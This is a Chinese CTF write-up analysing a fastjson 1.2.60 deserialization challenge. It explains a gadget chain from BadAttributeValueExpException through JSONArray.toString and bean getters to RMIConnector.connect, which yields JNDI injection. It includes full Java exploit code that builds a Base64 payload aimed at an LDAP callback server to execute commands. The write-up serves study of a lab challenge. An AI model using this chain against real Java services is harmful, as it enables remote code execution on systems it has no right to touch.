0x01 前言

最近也不怎么想学习了,这道题的复现前天就开始了,一直鸽到了现在。感觉对fastjson还是不太熟,这道题复现完也不是很容易,里面有些细小的知识点还不太弄懂,先水一篇文章吧,后续再完善一下。

0x02 题目分析

当时比赛后我直接把源码赋值粘贴在idea里,这样更好看。先看依赖

没啥特别的,就是1.2.60版本的fastjson

控制器中也只有一个路由,作为反序列化的入口点

另外重写了一个输入流的类,有黑名单的限制,这只是在传统的反序列化中做的限制,后面会说到。

另外还定义了一个javabean,代码就不全贴出来了,不过有一个getter方法值得我们注意

调用任意类的connect方法,这可以作为提示,也是突破口。

0x03 利用思路分析

RMIconnetor类与JNDI注入

前段时间看过二次反序列化,对这个类也不太陌生,它也可以二次反序列化,但是本题中不需要用到它的这个功能。跟进到它的connect方法来看一看

RMIconnetor#connect

我们需要走到这个findRMIServer方法里,就需要满足rmiServer为空,这个方法的参数是jmxServiceURL对象

不赋值就默认为空了,跟进findRMIServer方法

它这里会获取到jmxServiceURL对象的路径,这里路径开头要是”/jndi/“,因为我们要打JNDI注入。跟进到findRMIServerJNDI方法

漏洞利用点就在这里,接下来就是jmxServiceURL对象里的路径怎么写,跟进看一下

按照严格的路径格式,不然会抛出异常

根据这些信息就可以写一个漏洞触发的demo了

package com.ctf.ezser.test;


import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;

public class AttackTest1 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/ldap://127.0.0.1:8085/tOYpTiIz");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
rmiConnector.connect();

运行后也是可以弹出计算器的。RMIConnector类的全限定名是在黑名单里面的,这里就需要把它放在fastjson里,黑名单只限制在了普通的序列化中,而fastjson序列化有自己独有的一套规则,不受黑名单的限制,而在序列化的时候会调用getter方法,也就是需要调用Mybean类的getConnect方法,那么这一切都说的通了。

JSONArray的toString方法触发getter的分析

链子的后半段分析完了,前半段就是寻找能够调用调用getter的利用链,这里主要分析toString方法触发getter。

我们去看JSONArray的toString方法,实际上就是看JSON的toString方法。跟进后看,调用的是toJSONString方法,这个方法不就是fastjson序列化的方法嘛,总的来说就是实现一个fastjson序列化的功能

创建一个字符流对象out,实例化一个序列化器,把序列化后的结果赋值给out,所以这个write算是更深层次的序列化函数,跟进。

这种源码还是调试看比较好

通过不同的java类选择自己的ObjectSerializer,无关紧要,

ListSerializer#write

跟进到ListSerializer的write方法里

遍历出JSONArray中的键值是Mybean类,然后就判断这个类的类型。

找到Mybean这个类所对应的序列化器。可以跟进这个方法看一下,原本没有Mybean所对应的序列化器,找不到,所以它需要动态的创建自己的序列化器。

跟进这个方法,

遍历Mybean的字段信息,

此时的beanInfo就是对Mybean类的封装,获取到这些信息后创建ASM序列化器,这是动态生成的,可以跟进看一下创建序列化器的工厂方法。

遍历它的字段和getter方法,然后创建如下命名格式的序列化器。然后我们回到ListSerializer的write方法

可以看到是创建了它的序列化器的,接下来调用write方法完成序列化,调用Mybean的所有getter方法。

那么回过头来,什么方法调用了toString方法,那么这个方法就很容易想到了

BadAttributeValueExpException#readObject

这个作为反序列化的入口类就很常见了

不必再说。

0x04 题目复现

思路整理

可以简单总结一下这道题的思路,大致分为三个部分

第一,也就是题目中的反序列化点,利用BadAttributeValueExpException类的readObject方法来调用到fastjson库里json的toString方法,从而转变为fastjson的序列化,也顺便绕过黑名单。

第二,触发toString方法后会自动调用toJSONString方法,执行fastjson的序列化并且触发getter。

第三,Mybean的getConnect触发后,会调用RMIconnetor的connect方法,导致JNDI注入执行恶意命令。

EXP

package com.ctf.ezser;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.ctf.ezser.bean.MyBean;
import com.ctf.ezser.utils.MyObjectInputStream;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;

public class AttackWp {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/ldap://127.0.0.1:8085/OyJWpWMt");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);

MyBean myBean = new MyBean();
setFieldValue(myBean,"conn",rmiConnector);

JSONArray jsonArray = new JSONArray();
jsonArray.add(myBean);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",jsonArray);

ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(badAttributeValueExpException);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));


}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}

复现

运行exp生成base64编码串,全部url编码

Yakit做好反连,执行谈计算器的命令。

疑惑与思考

这里发包三次才会成功,前两次在控制台的时候可以看到,是发生报错的

它说JMXServiceURL类没有默认的无参构造方法。

网上看到有文章解释这个问题,fastjson反序列化的时候会先从一个map中,会判断这个类是否在map中,如果在,就直接拿出来反序列化,如果不在,就把它放到map里,然后判断是否存在无参构造方法。

这里发包三次分别为

将RMIConnector存入map,将JMXService存入map,将这两个类直接拿出来反序列化。

感兴趣可以自己调试一下。

0x05 小结

最近这段时间的学习效率确实不是太高,往后得多安排时间学了。后续打算还是刷一些java题,或者复现一些CMS漏洞,积累一些经验和看代码的能力。

参考文章:

https://blog.csdn.net/qq_42585535/article/details/130738288

https://www.freebuf.com/vuls/365414.html